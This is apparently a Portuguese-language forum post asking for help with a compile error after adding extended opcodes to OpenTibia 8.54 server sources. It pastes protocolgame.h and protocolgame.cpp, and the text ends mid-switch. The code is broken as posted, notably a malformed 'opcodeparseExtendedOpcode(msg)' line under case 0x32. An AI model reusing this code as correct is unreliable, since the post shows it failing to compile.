Ir para conteúdo
  • Cadastre-se

Outro ajuda com erro opcodes 8.54 nas sources


Posts Recomendados

Base PokeZR

 

Quanto eu tentei adicionar o opcodes em minhas sources e tentei compilar deu erro

(Sources que mexi)

protocolgame.h

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////

#ifndef __PROTOCOLGAME__
#define __PROTOCOLGAME__

#include "otsystem.h"
#include "enums.h"

#include "protocol.h"
#include "creature.h"

class NetworkMessage;
class Player;
class Game;
class House;
class Container;
class Tile;
class Connection;
class Quest;

typedef boost::shared_ptr<NetworkMessage> NetworkMessage_ptr;
class ProtocolGame : public Protocol
{
    public:
#ifdef __ENABLE_SERVER_DIAGNOSTIC__
        static uint32_t protocolGameCount;
#endif
        ProtocolGame(Connection_ptr connection): Protocol(connection)
        {
#ifdef __ENABLE_SERVER_DIAGNOSTIC__
            protocolGameCount++;
#endif
            player = NULL;
            m_eventConnect = 0;
            m_debugAssertSent = m_acceptPackets = false;
        }

        virtual ~ProtocolGame()
        {
#ifdef __ENABLE_SERVER_DIAGNOSTIC__
            protocolGameCount--;
#endif
            player = NULL;
        }

        enum {protocolId = 0x0A};
        enum {isSingleSocket = true};
        enum {hasChecksum = true};
        static const char* protocolName() {return "game protocol";}

        bool login(const std::string& name, uint32_t id, const std::string& password,
            OperatingSystem_t operatingSystem, uint16_t version, bool gamemaster);
        bool logout(bool displayEffect, bool forceLogout);

        void setPlayer(Player* p);

    private:
        void disconnectClient(uint8_t error, const char* message);

        std::list<uint32_t> knownCreatureList;
        void checkCreatureAsKnown(uint32_t id, bool& known, uint32_t& removedKnown);

        bool connect(uint32_t playerId, OperatingSystem_t operatingSystem, uint16_t version);
        void disconnect();

        virtual void releaseProtocol();
        virtual void deleteProtocolTask();

        bool canSee(uint16_t x, uint16_t y, uint16_t z) const;
        bool canSee(const Creature*) const;
        bool canSee(const Position& pos) const;

        virtual void onConnect();
        virtual void onRecvFirstMessage(NetworkMessage& msg);

        bool parseFirstPacket(NetworkMessage& msg);
        virtual void parsePacket(NetworkMessage& msg);

        //Parse methods
        void parseLogout(NetworkMessage& msg);
        void parseCancelMove(NetworkMessage& msg);

        void parseReceivePing(NetworkMessage& msg);
        void parseAutoWalk(NetworkMessage& msg);
        void parseMove(NetworkMessage& msg, Direction dir);
        void parseTurn(NetworkMessage& msg, Direction dir);

        void parseRequestOutfit(NetworkMessage& msg);
        void parseSetOutfit(NetworkMessage& msg);
        void parseSay(NetworkMessage& msg);
        void parseLookAt(NetworkMessage& msg);
        void parseFightModes(NetworkMessage& msg);
        void parseAttack(NetworkMessage& msg);
        void parseFollow(NetworkMessage& msg);

        void parseBugReport(NetworkMessage& msg);
        void parseDebugAssert(NetworkMessage& msg);

        void parseThrow(NetworkMessage& msg);
        void parseUseItemEx(NetworkMessage& msg);
        void parseBattleWindow(NetworkMessage& msg);
        void parseUseItem(NetworkMessage& msg);
        void parseCloseContainer(NetworkMessage& msg);
        void parseUpArrowContainer(NetworkMessage& msg);
        void parseUpdateTile(NetworkMessage& msg);
        void parseUpdateContainer(NetworkMessage& msg);
        void parseTextWindow(NetworkMessage& msg);
        void parseHouseWindow(NetworkMessage& msg);

        void parseLookInShop(NetworkMessage& msg);
        void parsePlayerPurchase(NetworkMessage& msg);
        void parsePlayerSale(NetworkMessage& msg);
        void parseCloseShop(NetworkMessage& msg);

        void parseQuests(NetworkMessage& msg);
        void parseQuestInfo(NetworkMessage& msg);

        void parseInviteToParty(NetworkMessage& msg);
        void parseJoinParty(NetworkMessage& msg);
        void parseRevokePartyInvite(NetworkMessage& msg);
        void parsePassPartyLeadership(NetworkMessage& msg);
        void parseLeaveParty(NetworkMessage& msg);
        void parseSharePartyExperience(NetworkMessage& msg);

        //trade methods
        void parseRequestTrade(NetworkMessage& msg);
        void parseLookInTrade(NetworkMessage& msg);
        void parseAcceptTrade(NetworkMessage& msg);
        void parseCloseTrade();

        //VIP methods
        void parseAddVip(NetworkMessage& msg);
        void parseRemoveVip(NetworkMessage& msg);

        void parseRotateItem(NetworkMessage& msg);

        //Channel tabs
        void parseCreatePrivateChannel(NetworkMessage& msg);
        void parseChannelInvite(NetworkMessage& msg);
        void parseChannelExclude(NetworkMessage& msg);
        void parseGetChannels(NetworkMessage& msg);
        void parseOpenChannel(NetworkMessage& msg);
        void parseOpenPriv(NetworkMessage& msg);
        void parseCloseChannel(NetworkMessage& msg);
        void parseCloseNpc(NetworkMessage& msg);
        void parseProcessRuleViolation(NetworkMessage& msg);
        void parseCloseRuleViolation(NetworkMessage& msg);
        void parseCancelRuleViolation(NetworkMessage& msg);

        //Send functions
        void sendChannelMessage(std::string author, std::string text, SpeakClasses type, uint8_t channel);
        void sendClosePrivate(uint16_t channelId);
        void sendCreatePrivateChannel(uint16_t channelId, const std::string& channelName);
        void sendChannelsDialog();
        void sendChannel(uint16_t channelId, const std::string& channelName);
        void sendRuleViolationsChannel(uint16_t channelId);
        void sendOpenPrivateChannel(const std::string& receiver);
        void sendToChannel(const Creature* creature, SpeakClasses type, const std::string& text, uint16_t channelId, uint32_t time = 0);
        void sendRemoveReport(const std::string& name);
        void sendLockRuleViolation();
        void sendRuleViolationCancel(const std::string& name);
        void sendIcons(int32_t icons);
        void sendFYIBox(const std::string& message);

        void sendDistanceShoot(const Position& from, const Position& to, uint8_t type);
        void sendMagicEffect(const Position& pos, uint8_t type);
        void sendAnimatedText(const Position& pos, uint8_t color, std::string text);
        void sendCreatureHealth(const Creature* creature);
        void sendSkills();
        void sendPing();
        void sendCreatureTurn(const Creature* creature, int16_t stackpos);
        void sendCreatureSay(const Creature* creature, SpeakClasses type, const std::string& text, Position* pos = NULL);

        void sendCancel(const std::string& message);
        void sendCancelWalk();
        void sendChangeSpeed(const Creature* creature, uint32_t speed);
        void sendCancelTarget();
        void sendCreatureOutfit(const Creature* creature, const Outfit_t& outfit);
        void sendStats();
        void sendTextMessage(MessageClasses mclass, const std::string& message);
        void sendReLoginWindow();

        void sendTutorial(uint8_t tutorialId);
        void sendAddMarker(const Position& pos, MapMarks_t markType, const std::string& desc);

        void sendCreatureSkull(const Creature* creature);
        void sendCreatureShield(const Creature* creature);

        void sendShop(const ShopInfoList& shop);
        void sendCloseShop();
        void sendGoods(const ShopInfoList& shop);
        void sendTradeItemRequest(const Player* player, const Item* item, bool ack);
        void sendCloseTrade();

        void sendTextWindow(uint32_t windowTextId, Item* item, uint16_t maxLen, bool canWrite);
        void sendTextWindow(uint32_t windowTextId, uint32_t itemId, const std::string& text);
        void sendHouseWindow(uint32_t windowTextId, House* house, uint32_t listId, const std::string& text);

        void sendOutfitWindow();
        void sendQuests();
        void sendQuestInfo(Quest* quest);
        void reloadCreature(const Creature* creature);
        void sendCreatureNick(const Creature* creature);

        void sendVIPLogIn(uint32_t guid);
        void sendVIPLogOut(uint32_t guid);
        void sendVIP(uint32_t guid, const std::string& name, bool isOnline);

        void sendCreatureLight(const Creature* creature);
        void sendWorldLight(const LightInfo& lightInfo);

        void sendCreatureSquare(const Creature* creature, SquareColor_t color);

        //tiles
        void sendAddTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item);
        void sendUpdateTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item);
        void sendRemoveTileItem(const Tile* tile, const Position& pos, uint32_t stackpos);
        void sendUpdateTile(const Tile* tile, const Position& pos);

        void sendAddCreature(const Creature* creature, const Position& pos, uint32_t stackpos);
        void sendRemoveCreature(const Creature* creature, const Position& pos, uint32_t stackpos);
        void sendMoveCreature(const Creature* creature, const Tile* newTile, const Position& newPos, uint32_t newStackPos,
            const Tile* oldTile, const Position& oldPos, uint32_t oldStackpos, bool teleport);

        //containers
        void sendAddContainerItem(uint8_t cid, const Item* item);
        void sendUpdateContainerItem(uint8_t cid, uint8_t slot, const Item* item);
        void sendRemoveContainerItem(uint8_t cid, uint8_t slot);

        void sendContainer(uint32_t cid, const Container* container, bool hasParent);
        void sendCloseContainer(uint32_t cid);

        //inventory
        void sendAddInventoryItem(slots_t slot, const Item* item);
        void sendUpdateInventoryItem(slots_t slot, const Item* item);
        void sendRemoveInventoryItem(slots_t slot);

        //Help functions

        // translate a tile to clientreadable format
        void GetTileDescription(const Tile* tile, NetworkMessage_ptr msg);

        // translate a floor to clientreadable format
        void GetFloorDescription(NetworkMessage_ptr msg, int32_t x, int32_t y, int32_t z,
            int32_t width, int32_t height, int32_t offset, int32_t& skip);

        // translate a map area to clientreadable format
        void GetMapDescription(int32_t x, int32_t y, int32_t z,
            int32_t width, int32_t height, NetworkMessage_ptr msg);

        void AddMapDescription(NetworkMessage_ptr msg, const Position& pos);
        void AddTextMessage(NetworkMessage_ptr msg, MessageClasses mclass, const std::string& message);
        void AddAnimatedText(NetworkMessage_ptr msg, const Position& pos, uint8_t color, const std::string& text);
        void AddMagicEffect(NetworkMessage_ptr msg, const Position& pos, uint8_t type);
        void AddDistanceShoot(NetworkMessage_ptr msg, const Position& from, const Position& to, uint8_t type);
        void AddCreature(NetworkMessage_ptr msg, const Creature* creature, bool known, uint32_t remove);
        void AddPlayerStats(NetworkMessage_ptr msg);
        void AddCreatureSpeak(NetworkMessage_ptr msg, const Creature* creature, SpeakClasses type,
            std::string text, uint16_t channelId, uint32_t time = 0, Position* pos = NULL);
        void AddCreatureHealth(NetworkMessage_ptr msg, const Creature* creature);
        void AddCreatureOutfit(NetworkMessage_ptr msg, const Creature* creature, const Outfit_t& outfit, bool outfitWindow = false);
        void AddPlayerSkills(NetworkMessage_ptr msg);
        void AddWorldLight(NetworkMessage_ptr msg, const LightInfo& lightInfo);
        void AddCreatureLight(NetworkMessage_ptr msg, const Creature* creature);

        //tiles
        void AddTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Item* item);
        void AddTileCreature(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Creature* creature);
        void UpdateTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Item* item);
        void RemoveTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos);

        void MoveUpCreature(NetworkMessage_ptr msg, const Creature* creature,
            const Position& newPos, const Position& oldPos, uint32_t oldStackpos);
        void MoveDownCreature(NetworkMessage_ptr msg, const Creature* creature,
            const Position& newPos, const Position& oldPos, uint32_t oldStackpos);

        //container
        void AddContainerItem(NetworkMessage_ptr msg, uint8_t cid, const Item* item);
        void UpdateContainerItem(NetworkMessage_ptr msg, uint8_t cid, uint8_t slot, const Item* item);
        void RemoveContainerItem(NetworkMessage_ptr msg, uint8_t cid, uint8_t slot);

        //inventory
        void AddInventoryItem(NetworkMessage_ptr msg, slots_t slot, const Item* item);
        void UpdateInventoryItem(NetworkMessage_ptr msg, slots_t slot, const Item* item);
        void RemoveInventoryItem(NetworkMessage_ptr msg, slots_t slot);

        //rule violation window
        void parseViolationWindow(NetworkMessage& msg);

        //shop
        void AddShopItem(NetworkMessage_ptr msg, const ShopInfo item);
        void parseExtendedOpcode(NetworkMessage& msg);
        void sendExtendedOpcode(uint8_t opcode, const std::string& buffer);

        #define addGameTask(f, ...) addGameTaskInternal(0, boost::bind(f, &g_game, __VA_ARGS__))
        #define addGameTaskTimed(delay, f, ...) addGameTaskInternal(delay, boost::bind(f, &g_game, __VA_ARGS__))
        template<class FunctionType>
        void addGameTaskInternal(uint32_t delay, const FunctionType&);

        friend class Player;
        Player* player;

        uint32_t m_eventConnect;
        bool m_debugAssertSent, m_acceptPackets;
};
#endif
 

protocolgame.cpp

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////
#include "otpch.h"
#include "resources.h"

#include <boost/function.hpp>
#include <iostream>

#include "protocolgame.h"
#include "textlogger.h"

#include "waitlist.h"
#include "player.h"

#include "connection.h"
#include "networkmessage.h"
#include "outputmessage.h"

#include "iologindata.h"
#include "ioban.h"

#include "items.h"
#include "tile.h"
#include "house.h"

#include "actions.h"
#include "creatureevent.h"
#include "quests.h"

#include "chat.h"
#include "configmanager.h"
#include "game.h"

#if defined(WINDOWS) && !defined(__CONSOLE__)
#include "gui.h"
#endif

extern Game g_game;
extern ConfigManager g_config;
extern Actions actions;
extern CreatureEvents* g_creatureEvents;
extern Chat g_chat;

template<class FunctionType>
void ProtocolGame::addGameTaskInternal(uint32_t delay, const FunctionType& func)
{
    if(delay > 0)
        Dispatcher::getInstance().addTask(createTask(delay, func));
    else
        Dispatcher::getInstance().addTask(createTask(func));
}

#ifdef __ENABLE_SERVER_DIAGNOSTIC__
uint32_t ProtocolGame::protocolGameCount = 0;
#endif

void ProtocolGame::setPlayer(Player* p)
{
    player = p;
}

void ProtocolGame::releaseProtocol()
{
    if(player && player->client == this)
        player->client = NULL;

    Protocol::releaseProtocol();
}

void ProtocolGame::deleteProtocolTask()
{
    if(player)
    {
        g_game.freeThing(player);
        player = NULL;
    }

    Protocol::deleteProtocolTask();
}

bool ProtocolGame::login(const std::string& name, uint32_t id, const std::string& password,
    OperatingSystem_t operatingSystem, uint16_t version, bool gamemaster)
{
    //dispatcher thread
    PlayerVector players = g_game.getPlayersByName(name);
    Player* _player = NULL;
    if(!players.empty())
        _player = players[random_range(0, (players.size() - 1))];

    if(!_player || name == "Account Manager" || g_config.getNumber(ConfigManager::ALLOW_CLONES) > (int32_t)players.size())
    {
        player = new Player(name, this);
        player->addRef();

        player->setID();
        if(!IOLoginData::getInstance()->loadPlayer(player, name, true))
        {
            disconnectClient(0x14, "Your character could not be loaded.");
            return false;
        }

        Ban ban;
        ban.value = player->getID();
        ban.param = PLAYERBAN_BANISHMENT;

        ban.type = BAN_PLAYER;
        if(IOBan::getInstance()->getData(ban) && !player->hasFlag(PlayerFlag_CannotBeBanned))
        {
            bool deletion = ban.expires < 0;
            std::string name_ = "Automatic ";
            if(!ban.adminId)
                name_ += (deletion ? "deletion" : "banishment");
            else
                IOLoginData::getInstance()->getNameByGuid(ban.adminId, name_, true);

            char buffer[500 + ban.comment.length()];
            sprintf(buffer, "Your character has been %s at:\n%s by: %s,\nfor the following reason:\n%s.\nThe action taken was:\n%s.\nThe comment given was:\n%s.\nYour %s%s.",
                (deletion ? "deleted" : "banished"), formatDateShort(ban.added).c_str(), name_.c_str(),
                getReason(ban.reason).c_str(), getAction(ban.action, false).c_str(), ban.comment.c_str(),
                (deletion ? "character won't be undeleted" : "banishment will be lifted at:\n"),
                (deletion ? "." : formatDateShort(ban.expires, true).c_str()));

            disconnectClient(0x14, buffer);
            return false;
        }

        if(IOBan::getInstance()->isPlayerBanished(player->getGUID(), PLAYERBAN_LOCK) && id != 1)
        {
            if(g_config.getBool(ConfigManager::NAMELOCK_MANAGER))
            {
                player->name = "Account Manager";
                player->accountManager = MANAGER_NAMELOCK;

                player->managerNumber = id;
                player->managerString2 = name;
            }
            else
            {
                disconnectClient(0x14, "Your character has been namelocked.");
                return false;
            }
        }
        else if(player->getName() == "Account Manager" && g_config.getBool(ConfigManager::ACCOUNT_MANAGER))
        {
            if(id != 1)
            {
                player->accountManager = MANAGER_ACCOUNT;
                player->managerNumber = id;
            }
            else
                player->accountManager = MANAGER_NEW;
        }

        if(gamemaster && !player->hasCustomFlag(PlayerCustomFlag_GamemasterPrivileges))
        {
            disconnectClient(0x14, "You are not a gamemaster! Turn off the gamemaster mode in your IP changer.");
            return false;
        }

        if(!player->hasFlag(PlayerFlag_CanAlwaysLogin))
        {
            if(g_game.getGameState() == GAME_STATE_CLOSING)
            {
                disconnectClient(0x14, "Gameworld is just going down, please come back later.");
                return false;
            }

            if(g_game.getGameState() == GAME_STATE_CLOSED)
            {
                disconnectClient(0x14, "Servidor está em manutenção, tente se conectar mais tarde.\nCaso o problema persista por mais de 2 horas contacte algum administrador para que o mesmo seja solucionado.");
                return false;
            }
        }

        if(g_config.getBool(ConfigManager::ONE_PLAYER_ON_ACCOUNT) && !player->isAccountManager() &&
            !IOLoginData::getInstance()->hasCustomFlag(id, PlayerCustomFlag_CanLoginMultipleCharacters))
        {
            bool found = false;
            PlayerVector tmp = g_game.getPlayersByAccount(id);
            for(PlayerVector::iterator it = tmp.begin(); it != tmp.end(); ++it)
            {
                if((*it)->getName() != name)
                    continue;

                found = true;
                break;
            }

            if(tmp.size() > 0 && !found)
            {
                disconnectClient(0x14, "You may only login with one character\nof your account at the same time.");
                return false;
            }
        }

        if(!WaitingList::getInstance()->login(player))
        {
            if(OutputMessage_ptr output = OutputMessagePool::getInstance()->getOutputMessage(this, false))
            {
                TRACK_MESSAGE(output);
                std::stringstream ss;
                ss << "Too many players online.\n" << "You are ";

                int32_t slot = WaitingList::getInstance()->getSlot(player);
                if(slot)
                {
                    ss << "at ";
                    if(slot > 0)
                        ss << slot;
                    else
                        ss << "unknown";

                    ss << " place on the waiting list.";
                }
                else
                    ss << "awaiting connection...";

                output->AddByte(0x16);
                output->AddString(ss.str());
                output->AddByte(WaitingList::getTime(slot));
                OutputMessagePool::getInstance()->send(output);
            }

            getConnection()->close();
            return false;
        }

        if(!IOLoginData::getInstance()->loadPlayer(player, name))
        {
            disconnectClient(0x14, "Your character could not be loaded.");
            return false;
        }

        player->setOperatingSystem(operatingSystem);
        player->setClientVersion(version);
        if(!g_game.placeCreature(player, player->getLoginPosition()) && !g_game.placeCreature(player, player->getMasterPosition(), false, true))
        {
            disconnectClient(0x14, "Temple position is wrong. Contact with the administration.");
            return false;

        }

        player->lastIP = player->getIP();
        player->lastLoad = OTSYS_TIME();
        player->lastLogin = std::max(time(NULL), player->lastLogin + 1);

        m_acceptPackets = true;
        return true;
    }
    else if(_player->client)
    {
        if(m_eventConnect || !g_config.getBool(ConfigManager::REPLACE_KICK_ON_LOGIN))
        {
            //A task has already been scheduled just bail out (should not be overriden)
            disconnectClient(0x14, "You are already logged in.");
            return false;
        }

        g_chat.removeUserFromAllChannels(_player);
        _player->disconnect();
        _player->isConnecting = true;

        addRef();
        m_eventConnect = Scheduler::getInstance().addEvent(createSchedulerTask(
            1000, boost::bind(&ProtocolGame::connect, this, _player->getID(), operatingSystem, version)));
        return true;
    }

    addRef();
    return connect(_player->getID(), operatingSystem, version);
}

bool ProtocolGame::logout(bool displayEffect, bool forceLogout)
{
    //dispatcher thread
    if(!player)
        return false;

    if(!player->isRemoved())
    {
        if(!forceLogout)
        {
            if(!IOLoginData::getInstance()->hasCustomFlag(player->getAccount(), PlayerCustomFlag_CanLogoutAnytime))
            {
                if(player->getTile()->hasFlag(TILESTATE_NOLOGOUT))
                {
                    player->sendCancelMessage(RET_YOUCANNOTLOGOUTHERE);
                    return false;
                }

                if(player->hasCondition(CONDITION_INFIGHT))
                {
                    player->sendCancelMessage(RET_YOUMAYNOTLOGOUTDURINGAFIGHT);
                    return false;
                }

                if(!g_creatureEvents->playerLogout(player, false)) //let the script handle the error message
                    return false;
            }
            else
                g_creatureEvents->playerLogout(player, false);
        }
        else if(!g_creatureEvents->playerLogout(player, true));
            return false;
    }
    else
        displayEffect = false;

    if(displayEffect && !player->isGhost())
        g_game.addMagicEffect(player->getPosition(), MAGIC_EFFECT_POFF);

    if(Connection_ptr connection = getConnection())
        connection->close();

    return g_game.removeCreature(player);
}

bool ProtocolGame::connect(uint32_t playerId, OperatingSystem_t operatingSystem, uint16_t version)
{
    unRef();
    m_eventConnect = 0;

    Player* _player = g_game.getPlayerByID(playerId);
    if(!_player || _player->isRemoved() || _player->client)
    {
        disconnectClient(0x14, "You are already logged in.");
        return false;
    }

    player = _player;
    player->addRef();
    player->isConnecting = false;

    player->client = this;
    player->sendCreatureAppear(player);

    player->setOperatingSystem(operatingSystem);
    player->setClientVersion(version);

    player->lastIP = player->getIP();
    player->lastLoad = OTSYS_TIME();
    player->lastLogin = std::max(time(NULL), player->lastLogin + 1);

    m_acceptPackets = true;
    return true;
}

void ProtocolGame::disconnect()
{
    if(getConnection())
        getConnection()->close();
}

void ProtocolGame::disconnectClient(uint8_t error, const char* message)
{
    if(OutputMessage_ptr output = OutputMessagePool::getInstance()->getOutputMessage(this, false))
    {
        TRACK_MESSAGE(output);
        output->AddByte(error);
        output->AddString(message);
        OutputMessagePool::getInstance()->send(output);
    }

    disconnect();
}

void ProtocolGame::onConnect()
{
    if(OutputMessage_ptr output = OutputMessagePool::getInstance()->getOutputMessage(this, false))
    {
        TRACK_MESSAGE(output);
        enableChecksum();

        output->AddByte(0x1F);
        output->AddU16(random_range(0, 0xFFFF));
        output->AddU16(0x00);
        output->AddByte(random_range(0, 0xFF));

        OutputMessagePool::getInstance()->send(output);
    }
}

void ProtocolGame::onRecvFirstMessage(NetworkMessage& msg)
{
    parseFirstPacket(msg);
}

bool ProtocolGame::parseFirstPacket(NetworkMessage& msg)
{
    if(
#if defined(WINDOWS) && !defined(__CONSOLE__)
        !GUI::getInstance()->m_connections ||
#endif
        g_game.getGameState() == GAME_STATE_SHUTDOWN)
    {
        getConnection()->close();
        return false;
    }

    OperatingSystem_t operatingSystem = (OperatingSystem_t)msg.GetU16();
    uint16_t version = msg.GetU16();
    if(!RSA_decrypt(msg))
    {
        disconnectClient(0x14, "Você só pode logar com o Client Oficial.");
        return false;
    }

    uint32_t key[4] = {msg.GetU32(), msg.GetU32(), msg.GetU32(), msg.GetU32()};
    enableXTEAEncryption();
    setXTEAKey(key);
    // notifies to otclient that this server can receive extended game protocol opcodes
    if(operatingSystem >= CLIENTOS_OTCLIENT_LINUX)
    sendExtendedOpcode(0x00, std::string());

    bool gamemaster = msg.GetByte();
    std::string name = msg.GetString(), character = msg.GetString(), password = msg.GetString();

    msg.SkipBytes(6); //841- wtf?
    if(version < CLIENT_VERSION_MIN || version > CLIENT_VERSION_MAX)
    {
        disconnectClient(0x14, CLIENT_VERSION_STRING);
        return false;
    }

    if(name.empty())
    {
        if(!g_config.getBool(ConfigManager::ACCOUNT_MANAGER))
        {
            disconnectClient(0x14, "Invalid account name.");
            return false;
        }

        name = "1";
        password = "1";
    }

    if(g_game.getGameState() < GAME_STATE_NORMAL)
    {
        disconnectClient(0x14, "Gameworld is just starting up, please wait.");
        return false;
    }

    if(g_game.getGameState() == GAME_STATE_MAINTAIN)
    {
        disconnectClient(0x14, "Servidor está em manutenção, tente se conectar mais tarde.\nCaso o problema persista por mais de 2 horas contacte algum administrador para que o mesmo seja solucionado.");
        return false;
    }

    if(ConnectionManager::getInstance()->isDisabled(getIP(), protocolId))
    {
        disconnectClient(0x14, "Too many connections attempts from your IP address, please try again later.");
        return false;
    }

    if(IOBan::getInstance()->isIpBanished(getIP()))
    {
        disconnectClient(0x14, "Your IP is banished!");
        return false;
    }

    uint32_t id = 1;
    if(!IOLoginData::getInstance()->getAccountId(name, id))
    {
        ConnectionManager::getInstance()->addAttempt(getIP(), protocolId, false);
        disconnectClient(0x14, "Invalid account name.");
        return false;
    }

    std::string hash;
    if(!IOLoginData::getInstance()->getPassword(id, hash, character) || !encryptTest(password, hash))
    {
        ConnectionManager::getInstance()->addAttempt(getIP(), protocolId, false);
        disconnectClient(0x14, "Invalid password.");
        return false;
    }

    Ban ban;
    ban.value = id;

    ban.type = BAN_ACCOUNT;
    if(IOBan::getInstance()->getData(ban) && !IOLoginData::getInstance()->hasFlag(id, PlayerFlag_CannotBeBanned))
    {
        bool deletion = ban.expires < 0;
        std::string name_ = "Automatic ";
        if(!ban.adminId)
            name_ += (deletion ? "deletion" : "banishment");
        else
            IOLoginData::getInstance()->getNameByGuid(ban.adminId, name_, true);

        char buffer[500 + ban.comment.length()];
        sprintf(buffer, "Your account has been %s at:\n%s by: %s,\nfor the following reason:\n%s.\nThe action taken was:\n%s.\nThe comment given was:\n%s.\nYour %s%s.",
            (deletion ? "deleted" : "banished"), formatDateShort(ban.added).c_str(), name_.c_str(),
            getReason(ban.reason).c_str(), getAction(ban.action, false).c_str(), ban.comment.c_str(),
            (deletion ? "account won't be undeleted" : "banishment will be lifted at:\n"),
            (deletion ? "." : formatDateShort(ban.expires, true).c_str()));

        disconnectClient(0x14, buffer);
        return false;
    }

    ConnectionManager::getInstance()->addAttempt(getIP(), protocolId, true);
    Dispatcher::getInstance().addTask(createTask(boost::bind(
        &ProtocolGame::login, this, character, id, password, operatingSystem, version, gamemaster)));
    return true;
}

void ProtocolGame::parsePacket(NetworkMessage &msg)
{
    if(!player || !m_acceptPackets || g_game.getGameState() == GAME_STATE_SHUTDOWN
        || msg.getMessageLength() <= 0)
        return;

    uint8_t recvbyte = msg.GetByte();
    //a dead player cannot performs actions
    if(player->isRemoved() && recvbyte != 0x14)
        return;

    if(player->isAccountManager())
    {
        switch(recvbyte)
        {
            case 0x14:
                parseLogout(msg);
                break;

            case 0x96:
                parseSay(msg);
                break;

            default:
                sendCancelWalk();
                break;
        }
    }
    else
    {
        switch(recvbyte)
        {
            case 0x14: // logout
                parseLogout(msg);
                break;

            case 0x1E: // keep alive / ping response
            case 0x32: // otclient extended 
                opcodeparseExtendedOpcode(msg) 
                parseReceivePing(msg);
                break;

            case 0x64: // move with steps
                parseAutoWalk(msg);
                break;

            case 0x65: // move north
            case 0x66: // move east
            case 0x67: // move south
            case 0x68: // move west
                parseMove(msg, (Direction)(recvbyte - 0x65));
                break;

            case 0x69: // stop-autowalk
                addGameTask(&Game::playerStopAutoWalk, player->getID());
                break;

            case 0x6A:
                parseMove(msg, NORTHEAST);
                break;

            case 0x6B:
                parseMove(msg, SOUTHEAST);
                break;

            case 0x6C:
                parseMove(msg, SOUTHWEST);
                break;

            case 0x6D:
                parseMove(msg, NORTHWEST);
                break;

            case 0x6F: // turn north
            case 0x70: // turn east
            case 0x71: // turn south
            case 0x72: // turn west
                parseTurn(msg, (Direction)(recvbyte - 0x6F));
                break;

            case 0x78: // throw item
                parseThrow(msg);
                break;

            case 0x79: // description in shop window
                parseLookInShop(msg);
                break;

            case 0x7A: // player bought from shop
                parsePlayerPurchase(msg);
                break;

            case 0x7B: // player sold to shop
                parsePlayerSale(msg);
                break;

            case 0x7C: // player closed shop window
                parseCloseShop(msg);
                break;

            case 0x7D: // Request trade
                parseRequestTrade(msg);
                break;

            case 0x7E: // Look at an item in trade
                parseLookInTrade(msg);
                break;

            case 0x7F: // Accept trade
                parseAcceptTrade(msg);
                break;

            case 0x80: // close/cancel trade
                parseCloseTrade();
                break;

            case 0x82: // use item
                parseUseItem(msg);
                break;

            case 0x83: // use item
                parseUseItemEx(msg);
                break;

            case 0x84: // battle window
                parseBattleWindow(msg);
                break;

            case 0x85: //rotate item
                parseRotateItem(msg);
                break;

            case 0x87: // close container
                parseCloseContainer(msg);
                break;

            case 0x88: //"up-arrow" - container
                parseUpArrowContainer(msg);
                break;

            case 0x89:
                parseTextWindow(msg);
                break;

            case 0x8A:
                parseHouseWindow(msg);
                break;

            case 0x8C: // throw item
                parseLookAt(msg);
                break;

            case 0x96: // say something
                parseSay(msg);
                break;

            case 0x97: // request channels
                parseGetChannels(msg);
                break;

            case 0x98: // open channel
                parseOpenChannel(msg);
                break;

            case 0x99: // close channel
                parseCloseChannel(msg);
                break;

            case 0x9A: // open priv
                parseOpenPriv(msg);
                break;

            case 0x9B: //process report
                parseProcessRuleViolation(msg);
                break;

            case 0x9C: //gm closes report
                parseCloseRuleViolation(msg);
                break;

            case 0x9D: //player cancels report
                parseCancelRuleViolation(msg);
                break;

            case 0x9E: // close NPC
                parseCloseNpc(msg);
                break;

            case 0xA0: // set attack and follow mode
                parseFightModes(msg);
                break;

            case 0xA1: // attack
                parseAttack(msg);
                break;

            case 0xA2: //follow
                parseFollow(msg);
                break;

            case 0xA3: // invite party
                parseInviteToParty(msg);
                break;

            case 0xA4: // join party
                parseJoinParty(msg);
                break;

            case 0xA5: // revoke party
                parseRevokePartyInvite(msg);
                break;

            case 0xA6: // pass leadership
                parsePassPartyLeadership(msg);
                break;

            case 0xA7: // leave party
                parseLeaveParty(msg);
                break;

            case 0xA8: // share exp
                parseSharePartyExperience(msg);
                break;

            case 0xAA:
                parseCreatePrivateChannel(msg);
                break;

            case 0xAB:
                parseChannelInvite(msg);
                break;

            case 0xAC:
                parseChannelExclude(msg);
                break;

            case 0xBE: // cancel move
                parseCancelMove(msg);
                break;

            case 0xC9: //client request to resend the tile
                parseUpdateTile(msg);
                break;

            case 0xCA: //client request to resend the container (happens when you store more than container maxsize)
                parseUpdateContainer(msg);
                break;

            case 0xD2: // request outfit
                if((!player->hasCustomFlag(PlayerCustomFlag_GamemasterPrivileges) || !g_config.getBool(
                    ConfigManager::DISABLE_OUTFITS_PRIVILEGED)) && (g_config.getBool(ConfigManager::ALLOW_CHANGEOUTFIT)
                    || g_config.getBool(ConfigManager::ALLOW_CHANGECOLORS) || g_config.getBool(ConfigManager::ALLOW_CHANGEADDONS)))
                    parseRequestOutfit(msg);
                break;

            case 0xD3: // set outfit
